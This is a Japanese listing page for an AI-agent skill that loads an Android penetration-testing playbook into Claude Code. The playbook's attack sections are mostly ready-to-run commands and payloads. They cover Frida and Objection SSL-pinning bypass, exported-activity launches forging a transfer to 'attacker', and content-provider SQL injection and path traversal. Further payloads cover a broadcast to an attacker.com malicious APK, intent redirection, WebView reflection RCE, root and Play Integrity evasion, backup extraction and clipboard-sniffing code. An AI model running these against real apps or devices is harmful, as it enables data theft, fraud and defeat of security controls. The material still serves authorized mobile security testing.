android-pentesting-tricks について
android-pentesting-tricksは、Androidアプリを調査するセキュリティテスター向けのスキル集です。通信傍受の制限、公開コンポーネント、WebViewのリスク、Intentリダイレクト、Root検出、端末整合性制御を扱います。
主な機能
- 01SSLピンニングの回避手法
- 02公開コンポーネントの調査
- 03WebView脆弱性の分析
- 04Intentリダイレクトのテスト
- 05Root検出と整合性制御の回避
活用シーン
- 01許可済みテストでのアプリHTTPS通信の傍受
- 02公開Activity、サービス、Providerの確認
- 03ディープリンクとWebView入力処理のテスト
- 04Root化したテスト端末でのアプリ動作の評価
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill android-pentesting-tricksインストール後、Claude Code で/android-pentesting-tricksを入力して読み込まれたか確認します。
同梱ファイルFRIDA_SCRIPTS.md
詳細
SKILL: Android ペンテストのテクニック — エキスパート向け攻撃プレイブック
AI LOAD INSTRUCTION:Android アプリケーションのセキュリティテストに関するエキスパート向けテクニックです。SSL ピンニングのバイパス(Frida/Objection/LSPosed)、コンポーネントの公開、WebView の悪用、インテントのリダイレクト、ルート検出のバイパス、Play Integrity の回避を扱います。ベースモデルでは、Frida のフックの詳細や多層バイパスチェーンが見落とされます。
0. 関連するルーティング
詳しく調べる前に、次の読み込みを検討してください。
- mobile-ssl-pinning-bypass:クロスプラットフォームの SSL ピンニングバイパス手法や、フレームワーク固有のフックについて詳しく調べる場合
- ios-pentesting-tricks:同じアプリの iOS 版もテストする場合
- api-sec:通信を傍受した後に、バックエンド API のセキュリティテストを行う場合
高度なリファレンス
次の場合は、FRIDA_SCRIPTS.md も読み込んでください。
- Android の一般的なテストタスク向けの、すぐに使える Frida スクリプトテンプレートが必要な場合
- OkHttp、Retrofit、Volley、WebView の詳細なフックポイントが必要な場合
- ルート検出をバイパスするスクリプト集が必要な場合
1. SSL ピンニングのバイパス
1.1 Frida による汎用バイパス
# Install Frida server on device
adb push frida-server-16.x.x-android-arm64 /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server-16.x.x-android-arm64"
adb shell "/data/local/tmp/frida-server-16.x.x-android-arm64 &"
# Universal SSL pinning bypass
frida -U -l ssl_pinning_bypass.js -f com.target.app --no-pause
| フックポイント | ライブラリ/クラス | 対象範囲 |
|---|---|---|
X509TrustManager.checkServerTrusted | Android SDK | すべての標準 HTTPS |
OkHttpClient.Builder.sslSocketFactory | OkHttp 3.x/4.x | Square OkHttp |
CertificatePinner.check | OkHttp 3.x/4.x | OkHttp のピンニング |
HttpsURLConnection.setSSLSocketFactory | Android SDK | レガシー HTTPS |
SSLContext.init | Android SDK | カスタム SSL コンテキスト |
WebViewClient.onReceivedSslError | WebView | WebView の SSL エラー |
TrustManagerFactory.getTrustManagers | Android SDK | ファクトリーで作成された TM |
1.2 Objection(簡易的な方法)
objection -g com.target.app explore
# Inside Objection REPL:
android sslpinning disable
1.3 ネットワークセキュリティ設定(デバッグビルド)
APK を変更できる場合、またはデバッグビルドの場合:
<network-security-config>
<debug-overrides>
<trust-anchors>
<certificates src="user" />
</trust-anchors>
</debug-overrides>
</network-security-config>
1.4 Magisk モジュールを使う方法
| モジュール | 方法 | 適用範囲 |
|---|---|---|
| LSPosed + TrustMeAlready | システム全体の TrustManager にフック | すべてのアプリ |
| LSPosed + SSLUnpinning | 対象を限定した SSL バイパス | アプリ単位 |
| MagiskTrustUserCerts | ユーザー CA をシステムストアに移動 | システム CA を信頼するすべてのアプリ |
| ConscryptTrustUserCerts | Conscrypt にパッチを適用 | 新しいバージョンの Android(7 以降) |
2. コンポーネントの公開
2.1 エクスポートされたアクティビティ
# Find exported activities (AndroidManifest.xml or aapt)
aapt dump xmltree target.apk AndroidManifest.xml | grep -B 5 "exported.*true"
# Launch exported activity directly
adb shell am start -n com.target.app/.AdminActivity
adb shell am start -n com.target.app/.DeepLinkActivity \
-d "target://callback?token=attacker_token"
# With extra data
adb shell am start -n com.target.app/.TransferActivity \
--es "amount" "99999" --es "recipient" "attacker"
2.2 コンテンツプロバイダー
# Query exposed content providers
adb shell content query --uri content://com.target.app.provider/users
# SQL injection in content provider
adb shell content query --uri "content://com.target.app.provider/users" \
--where "1=1) UNION SELECT sql,2,3 FROM sqlite_master--"
# Path traversal in file-providing content provider
adb shell content read --uri "content://com.target.app.fileprovider/../../../../etc/hosts"
| プロバイダーの種類 | 攻撃手法 | 影響 |
|---|---|---|
| データベースを使用 | query() の projection/selection を介した SQL インジェクション | データ漏えい、認証バイパス |
| ファイルを使用 | URI を介したパストラバーサル | 任意のファイルの読み取り |
| Parcelable | カスタム Parcelable における型の混同 | コード実行 |
2.3 ブロードキャストレシーバー
# Send crafted broadcast
adb shell am broadcast -a com.target.app.ACTION_UPDATE \
--es "url" "http://attacker.com/malicious.apk"
# Ordered broadcast interception (higher priority receiver intercepts first)
# Register receiver with higher priority than target to intercept/modify data
2.4 エクスポートされたサービス
# Start/bind to exported service
adb shell am startservice -n com.target.app/.BackgroundService \
--es "command" "exfiltrate"
# List running services
adb shell dumpsys activity services | grep com.target
3. WebView の脆弱性
3.1 JavaScript インターフェースによる RCE(API 17 より前)
// Vulnerable code: addJavascriptInterface without @JavascriptInterface annotation
webView.addJavascriptInterface(new JSInterface(), "android");
// Pre-API 17: Reflection-based RCE via injected JavaScript
// Inject into WebView:
// android.getClass().forName('java.lang.Runtime')
// .getMethod('getRuntime').invoke(null).exec('id')
3.2 最新の WebView に対する攻撃
| 脆弱性 | 条件 | エクスプロイト |
|---|---|---|
setJavaScriptEnabled(true) + 信頼されていないコンテンツ | JS が有効で、攻撃者が読み込まれる URL を制御できる | XSS → ブリッジアクセス |
setAllowFileAccessFromFileURLs(true) | file:// から他の file:// を読み取れる | file:///data/data/com.target/... を読み込む |
setAllowUniversalAccessFromFileURLs(true) | file:// から任意のオリジンにアクセスできる | 攻撃者への XHR を介してデータを窃取 |
loadUrl(user_controlled) | loadUrl にユーザー入力が使われる | javascript: スキームまたは file:// |
shouldOverrideUrlLoading のバイパス | URL 検証が不完全 | 攻撃者が制御するページへリダイレクト |
汚染データを使った evaluateJavascript | JS の実行にユーザーデータが使われる | WebView コンテキスト内の XSS |
3.3 ディープリンクから WebView への連鎖
1. Attacker crafts deep link: target://webview?url=https://attacker.com/xss.html
2. App opens WebView with attacker URL
3. XSS in WebView calls JavaScript bridge: android.sensitiveMethod()
4. Bridge executes in app context with app's permissions
4. インテントのリダイレクト
エクスポートされたアクティビティがインテントを受け取り、受信したインテントのデータを使用して別の(内部)アクティビティを開始します。
// Vulnerable pattern:
Intent received = getIntent();
Intent redirect = (Intent) received.getParcelableExtra("next_intent");
startActivity(redirect);
// Attacker controls "next_intent" → can start any internal activity
# Exploit: start non-exported internal activity via redirection
adb shell am start -n com.target.app/.ExportedActivity \
--es "next_intent" "intent:#Intent;component=com.target.app/.InternalAdminActivity;end"
| パターン | 指標 | リスク |
|---|---|---|
getParcelableExtra → startActivity | インテント内のインテント | エクスポートされていないアクティビティを開始する |
getStringExtra("url") → startActivity(Intent.ACTION_VIEW) | URL 転送 | 任意の URL を開く |
getStringExtra("class") → Class.forName → startActivity | 動的なクラス読み込み | 名前を指定して任意のアクティビティを開始する |
5. ルート検出の回避
5.1 一般的なルート検出チェック
| チェック | 検出対象 | Frida による回避 |
|---|---|---|
su バイナリの存在 | /system/xbin/su、/sbin/su | File.exists() をフック → false を返す |
| ビルドタグに "test-keys" が含まれる | Build.TAGS | Build.TAGS をフック → "release-keys" を返す |
| Magisk Manager のインストール | パッケージ名のチェック | PackageManager.getPackageInfo をフック |
| Superuser.apk の存在 | ルート管理アプリ | File.exists() をフック |
| RootBeer ライブラリ | 複数のルート検出チェック | RootBeer のすべてのチェックメソッドをフック |
| SafetyNet/Play Integrity | サーバー側のアテステーション | Magisk DenyList とモジュールが必要 |
| 異常なシステムプロパティ | ro.debuggable=1 など | SystemProperties.get をフック |
5.2 Magisk DenyList(以前の MagiskHide)
# Enable DenyList in Magisk Manager
# Add target app to DenyList — Magisk hides itself from that app
# Covers: su binary, Magisk Manager package, mount points, props
6. PLAY INTEGRITY/SAFETYNET の回避
| レベル | チェック内容 | 回避の難易度 |
|---|---|---|
| 基本的な整合性 | ルート化されていないこと、エミュレーターではないこと | 簡単(Magisk + DenyList) |
| デバイスの整合性 | ブートローダーがロックされていること、検証済みブート | 難しい(ロック済みブートローダーが必要) |
| 強力な整合性 | ハードウェアに裏打ちされたアテステーション | 非常に難しい(ハードウェア TEE) |
手法:
- Zygisk を有効にした Magisk + 対象アプリ用の DenyList
- Play Integrity Fix(PIF)Magisk モジュール:デバイスのフィンガープリントを偽装します
- Shamiko モジュール:特定のアプリからルート化を隠します
- ブートローダーがロックされたカスタム ROM(Pixel 固有の手法)
7. タップジャッキング(オーバーレイ攻撃)
<activity android:name=".OverlayActivity"
android:theme="@style/TransparentTheme"
android:excludeFromRecents="true">
</activity>
| Android のバージョン | 保護機能 | 回避方法 |
|---|---|---|
| 6.0 より前 | なし | 完全なオーバーレイ |
| 6.0~11 | filterTouchesWhenObscured(オプトイン) | これを使用していないアプリは脆弱です |
| 12 以降 | オーバーレイウィンドウからの信頼されていないタッチをブロック | 部分的なオーバーレイ、タイミングベース |
8. バックアップの抽出
# Check if backup allowed
aapt dump xmltree target.apk AndroidManifest.xml | grep allowBackup
# android:allowBackup(0x01010280)=(type 0x12)0xffffffff → true (default!)
# Extract backup
adb backup -f backup.ab -apk com.target.app
# Convert to tar
dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar
tar xf backup.tar
# Analyze extracted data
find com.target.app -name "*.db" -o -name "*.xml" -o -name "*.json"
# Check shared_prefs/ for tokens, credentials
# Check databases/ for SQLite DBs with sensitive data
9. その他のテクニック
9.1 デバッグ可能なアプリの悪用
# If android:debuggable="true" in manifest
adb shell run-as com.target.app
# Now running as the app's user — full data directory access
cat /data/data/com.target.app/shared_prefs/*.xml
9.2 Drozer(コンポーネントテストフレームワーク)
# List attack surface
dz> run app.package.attacksurface com.target.app
# Exported Activities: 3
# Exported Services: 1
# Exported Providers: 2
# Query provider
dz> run app.provider.query content://com.target.app.provider/users
# Scan for injection
dz> run scanner.provider.injection -a com.target.app
9.3 クリップボードの盗み見
// Pre-Android 10: any app can read clipboard
ClipboardManager cm = (ClipboardManager) getSystemService(CLIPBOARD_SERVICE);
cm.addPrimaryClipChangedListener(() -> {
ClipData data = cm.getPrimaryClip();
// Exfiltrate copied passwords, tokens, etc.
});
10. Android ペネトレーションテストの判断フローチャート
Testing Android application
│
├── Can intercept HTTPS traffic?
│ ├── No → SSL pinning in place
│ │ ├── Frida available? → universal SSL bypass script (§1.1)
│ │ ├── Rooted + Magisk? → LSPosed + TrustMeAlready (§1.4)
│ │ ├── Debug build? → Network Security Config (§1.3)
│ │ └── None above? → manual decompile + patch + repackage
│ └── Yes → proceed to traffic analysis
│
├── Exported components found?
│ ├── Exported Activities → test direct launch, deeplink abuse (§2.1)
│ ├── Content Providers → SQLi, path traversal (§2.2)
│ ├── Broadcast Receivers → crafted intent injection (§2.3)
│ └── Services → unauthorized service binding (§2.4)
│
├── WebView present?
│ ├── JavaScript enabled + JS interface? → bridge exploitation (§3.1)
│ ├── File access enabled? → file:// scheme abuse (§3.2)
│ └── Deep link → WebView? → URL injection chain (§3.3)
│
├── Intent handling found?
│ └── Intent-in-Intent pattern? → redirect to internal activity (§4)
│
├── Root detection blocking testing?
│ ├── Client-side checks only? → Frida hook bypass (§5.1)
│ ├── SafetyNet/Play Integrity? → Magisk DenyList + modules (§6)
│ └── Custom obfuscated checks? → reverse engineer + targeted hooks
│
├── Sensitive data storage?
│ ├── allowBackup=true? → ADB backup extraction (§8)
│ ├── Debuggable? → run-as for direct data access (§9.1)
│ └── SharedPreferences → check for plaintext tokens/credentials
│
└── UI-based attacks applicable?
└── Overlay possible? → tapjacking (§7)
コメント
Markdown 対応